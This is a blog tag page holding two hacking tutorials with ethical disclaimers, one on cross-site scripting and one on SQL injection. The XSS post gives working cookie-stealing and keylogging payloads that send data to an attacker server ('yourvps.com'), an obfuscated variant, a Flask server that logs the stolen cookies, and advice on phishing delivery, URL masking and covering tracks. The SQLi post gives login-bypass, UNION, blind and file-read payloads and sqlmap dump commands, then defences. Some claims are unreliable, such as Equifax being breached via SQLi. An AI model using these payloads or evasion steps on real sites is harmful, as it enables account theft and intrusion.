EthicBreach

Tag: Burp Suite

  • XSS Sorcerer: Casting Spells Through Their Browser

    Disclaimer: This article is for educational purposes only. The techniques described are meant to teach ethical hacking skills to secure systems, not to cause harm. Unauthorized hacking is illegal and unethical—keep your magic clean, #ethicbreach crew!

    Step into the arcane circle, sorcerers. As an XSS Sorcerer, you wield the power to cast spells through a victim’s browser, bending their digital reality with a flick of code. Cross-Site Scripting (XSS) isn’t just a vuln—it’s a dark art, slipping past defenses to steal secrets, hijack sessions, or unleash chaos. We’re here to master this magic ethically, to defend the realm, not burn it. Ready to enchant? Let’s conjure some spells.

    The Grimoire: Why XSS is Pure Magic

    XSS lets you inject malicious JavaScript into a website, running it in a user’s browser. It’s a wand for stealing cookies, redirecting users, or defacing pages. Three types: reflected (URL-based), stored (database-persisted), and DOM-based (client-side). Black hats love it—low barrier, high impact. We’re learning to cast these spells to seal the cracks.

    Think of it: one script, and you’re keylogging a CEO’s session. Ethical hackers use this to show clients their weak wards.

    Scrying: Finding the Weak Runes

    Sorcerers don’t guess—they scry. Hunt for input fields—search bars, comment forms, profile bios. Use Burp Suite to intercept POST requests: POST /search?q=test. If “test” reflects in the page unfiltered, it’s spell-ready. X posts can tip you off—devs whining about “legacy CMS” signal sloppy sanitization. Nmap (nmap -p80,443 --script=http-vuln* target.com) flags old web servers ripe for XSS.

    The Incantation: Crafting the Spell

    Start simple—reflected XSS. Inject: <script>alert('XSS')</script> into a URL: site.com/search?q=<script>alert('XSS')</script>. Pop-up? You’re in. Escalate with a cookie grabber:

    <script>
fetch('http://yourvps.com/steal?cookie=' + document.cookie);
</script>

    Stored XSS is nastier—post that script in a comment. It hits every visitor. DOM-based? Tweak a client-side script: document.location='http://yourvps.com/steal?data='+document.cookie. Host the catcher on your VPS:

    from flask import Flask, request

app = Flask(__name__)

@app.route('/steal')
def steal():
    cookie = request.args.get('cookie')
    with open('loot.txt', 'a') as f:
        f.write(cookie + '\n')
    return 'OK'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

    The Ritual: Delivering the Curse

    Reflected XSS needs a lure—phish with a crafted URL: “Check your profile: site.com/profile?name=<script>fetch(…)”. Stored? Post in a forum or guestbook—<img src=x onerror=fetch('http://yourvps.com/steal?cookie='+document.cookie)> hides it. DOM-based? Manipulate a hash: site.com/#script=your-evil-js. Shorten URLs with Bitly to mask the evil.

    Pros chain it—steal a session, pivot to admin, own the CMS. We stop at proof, not plunder.

    The Enchantment: Spell Effects

    Cookies nabbed? Log in as them—session hijacking. Keylog with: <script>document.onkeypress=function(e){fetch('http://yourvps.com/log?key='+e.key)}</script>. Deface for lulz: document.body.innerHTML='Hacked by XSS Sorcerer';. Black hats might iframe a crypto miner. We show the damage to fix the flaw.

    The Veil: Cloaking the Magic

    Stay invisible. Obfuscate: <script>eval(atob('ZmV0Y2goImh0dHA6Ly95b3VydnBzLmNvbS9zdGVhbD9jb29raWU9Iitkb2N1bWVudC5jb29raWUp'))</script>. Proxy through a VPS chain—Bulgaria to Singapore. Burn the domain post-test: shred -u *. Ethical hackers log for reports; black hats vanish.

    Real-World Sorcery: A Spell Gone Wild

    2017, a social platform bled. Stored XSS in a profile bio stole thousands of cookies, hijacked accounts. Losses? Millions. Attackers? Shadows. We study this to weave stronger wards.

    Why Mortals Fall: The Broken Ward

    Devs skip input sanitization, trust user data, or lean on old frameworks. Users click dodgy links. XSS thrives on sloppiness. Ethical hacking flips it—expose the holes, not the souls.

    Defending the Realm: Counterspells

    Banish XSS. Sanitize inputs—use libraries like DOMPurify. Escape outputs: <%= htmlspecialchars(userInput) %>. Set Content Security Policy (CSP): Content-Security-Policy: script-src 'self'. Test with Burp’s scanner or OWASP ZAP. Train users—fake phish with GoPhish. I’ve popped XSS in tests (legally)—a search bar fell in 5 minutes. Patch or perish.

    The Sorcerer’s Tome: Tools of Power

    Your arsenal: Burp Suite for intercepts, OWASP ZAP for scans, Kali Linux for the cauldron, GoPhish for lures. Spider sites—curl -s http://target.com | grep "input". Ethical rule: only cast on permitted grounds.

    Note to Followers

    Yo, #ethicbreach mages—these are the dark spells we learn to protect the kingdom. No curses, just cures. Master the art ethically, keep the web safe!

  • SQL Injection 101: Cracking Databases with a Single Line

    Note for the #ethicbreach Crew

    Yo, #ethicbreach fam—this SQLi masterclass is about knowledge, not carnage. Keep it legal, keep it tight, and only crack what you’ve got permission to test. We’re dropping ethical hacking truth—use it to secure, not to screw. Stay on the right side of the wire!

    Ready to slip through the cracks of the digital world and pull secrets from the void? SQL injection is the shadow key that unlocks databases with ruthless precision. We’re diving deep—way deep—into this hacker’s favorite trick, not to burn the house down, but to show you how to build an unbreakable one. Buckle up.

    The Dark Art of SQL Injection: What’s the Game?

    SQL injection—SQLi to those in the know—isn’t just a hack; it’s a masterclass in exploitation. Picture a database as a vault stuffed with gold: user logins, emails, payment details, dirty little secrets. Now imagine slipping a single line of code into a web form that tricks the vault into handing you the keys. That’s SQLi—a technique so slick it’s been dropping sites for decades, from mom-and-pop shops to corporate giants. It’s raw, it’s real, and it’s everywhere.

    Why does it work? Because developers get lazy. They trust user input like it’s gospel, letting it flow straight into SQL queries without a filter. One misplaced apostrophe, one crafty string, and boom—the database spills its guts. Attackers love it; defenders dread it. And you? You’re about to master it—not to plunder, but to protect.

    The Anatomy of a Database: Know Your Target

    Before you crack anything, you need to know what’s under the hood. Databases—think MySQL, PostgreSQL, SQLite—are the beating heart of most web apps. They store data in tables: rows and columns, like a spreadsheet on steroids. A table called “users” might hold “username” and “password” columns, while “orders” tracks your latest online splurge.

    SQL (Structured Query Language) is how apps talk to these databases. A login form might run a query like: SELECT * FROM users WHERE username = 'john' AND password = 'pass123';. If it matches, you’re in. If not, try again. Simple, right? But here’s where it gets juicy: what if you could hijack that query?

    Enter SQLi. By injecting your own code into that input—like ' OR 1=1 --—you can flip the logic. That query becomes: SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'whatever';. The OR 1=1 always evaluates true, and the -- comments out the rest. Result? You’re logged in as the first user in the table—often an admin. That’s the skeleton key in action.

    Your Arsenal: Tools to Break and Build

    To pull this off—or defend against it—you need the right gear. Here’s your kit, straight from the hacker’s playbook:

    • Burp Suite: A proxy tool that intercepts web requests. You can tweak inputs on the fly, spotting SQLi holes like a hawk. The free version’s solid; the pro version’s a beast.
    • SQLMap: The automated king of SQLi. Point it at a URL, and it’ll sniff out vulnerabilities, dump databases, even crack passwords. Free and open-source—pure power.
    • Browser Dev Tools: Chrome or Firefox’s built-in inspectors let you mess with forms and watch responses. No install needed.
    • A Vulnerable Lab: Set up Damn Vulnerable Web App (DVWA) or a similar sandbox on a local machine. It’s your playground—break it, fix it, learn it.

    One unbreakable rule: Don’t test this on live sites you don’t own. That’s not hacking—that’s a felony. Keep it in your lab, keep it legal, and you’ll sleep better at night.

    Cracking the Lock: Step-by-Step Injection

    Let’s walk through a basic SQLi attack—on your own test setup, of course. This is the hands-on stuff, so fire up your lab and follow along.

    Step 1: Scout the Terrain

    Start with a target—a login form, a search bar, anything that takes user input and talks to a database. In DVWA, the “SQL Injection” module is perfect. Look for fields that feel ripe: no visible sanitization, weird error messages when you throw in odd characters like apostrophes.

    Step 2: Probe the Weakness

    Type a single quote—'—into the field and hit submit. If you get a database error (like “mysql_fetch_array()” or “syntax error”), you’ve struck gold. That means the input’s hitting the query raw. Now try the classic: ' OR 1=1 --. If it logs you in or spits out data, the door’s wide open.

    What’s happening? That input turns a legit query into a free-for-all. The 1=1 is always true, bypassing the password check, and the -- kills any trailing code. It’s crude, it’s effective, and it’s been around forever.

    Step 3: Dig Deeper

    Time to level up. Try a UNION attack: ' UNION SELECT username, password FROM users --. This stacks a second query onto the first, pulling specific columns—usernames and passwords, straight from the “users” table. If the app’s sloppy, it’ll display them right on the page. You might see “admin:pass123” staring back at you.

    Not working? Tweak it. Maybe the table’s called “accounts” or “customers.” Guess and test—or use errors to fish for names (more on that later).

    Step 4: Automate the Heist

    Manual injections are fun, but slow. Enter SQLMap. Run: sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs. It’ll scan the URL, find injectable parameters, and list every database it can reach. Follow with --tables, then --dump to suck out the data. It’s like handing a lockpick to a robot—fast and ruthless.

    Step 5: Sift the Loot

    SQLMap might dump a table like this: “users | id | username | password”—and there’s your haul. In a real attack, this is where creds get stolen. In your lab, it’s where you learn: every exposed row is a lesson in what not to do.

    The Variants: Beyond the Basics

    SQLi isn’t one trick—it’s a whole bag. Here’s a taste of the flavors:

    • Blind SQLi: No errors, no output—just true/false responses. Inject ' AND 1=1 -- vs. ' AND 1=2 --. If the page changes, you’re in. Slow, but stealthy.
    • Time-Based: No visible clues? Try ' OR SLEEP(5) --. If the page lags 5 seconds, the database obeyed. Extract data bit by bit with delays.
    • Out-of-Band: Rare, but wild—use ' AND LOAD_FILE('/etc/passwd') -- to smuggle data over DNS or HTTP. Nasty if it works.

    Each type’s a puzzle. Solving them teaches you how attackers think—and how systems bleed.

    The Loot: What’s at Stake?

    A good SQLi hit can expose a goldmine—or a graveyard. User tables are the obvious prize: logins, emails, hashed passwords (crackable with tools like Hashcat). But it gets crazier—admin panels, customer orders, even server files if the database has file privileges. In 2017, Equifax lost 147 million records to SQLi. That’s the scale of sloppy code.

    Even “secure” sites leak metadata. Table names, column counts, database versions—they’re breadcrumbs for bigger attacks. It’s not always about the data; it’s about the foothold.

    Flipping the Script: From Cracker to Guardian

    Here’s where the black hat vibe turns white. Knowing SQLi isn’t just for kicks—it’s for fortifying. Every trick you’ve learned has a counter:

    • Prepared Statements: Use stmt = conn.prepare("SELECT * FROM users WHERE username = ? AND password = ?"). Inputs get locked in, not executed. SQLi dies here.
    • Input Sanitization: Strip quotes, slashes, semicolons—anything funky. Libraries like PHP’s mysqli_real_escape_string() help, but aren’t foolproof.
    • Least Privilege: Run your database user with minimal rights—no file access, no dropping tables. Limit the blast radius.
    • ORMs: Tools like SQLAlchemy or Django’s ORM abstract queries, dodging raw SQL pitfalls.

    Test your own apps. Inject them, break them, patch them. That’s ethical hacking: you wield the blade to forge the shield.

    Real-World Shadows: SQLi in the Wild

    This isn’t theory—SQLi’s a living nightmare. In 2011, Sony’s PSN got gutted—77 million accounts leaked via SQLi. In 2020, a flaw in Joomla sites let attackers dump databases with a single payload. OWASP ranks it #1 on their Top 10 risks, year after year. Why? Because it’s easy, and devs still sleep on it.

    Flip through dark web forums—SQLi dumps sell for pennies. That’s your data, your site, your rep on the line. Learning this isn’t optional—it’s survival.

    The Ethical Line: Why We Do This

    SQLi’s power is intoxicating—one line, total control. But power’s a double-edged sword. At #ethicbreach, we’re not here to breed chaos; we’re here to kill it. Every vuln you find, every fix you apply, makes the net tougher. That’s the game: outsmart the bad guys by thinking like them.

    Cracked a database yet? Hit us with #ethicbreach and show off your skills—or your fixes!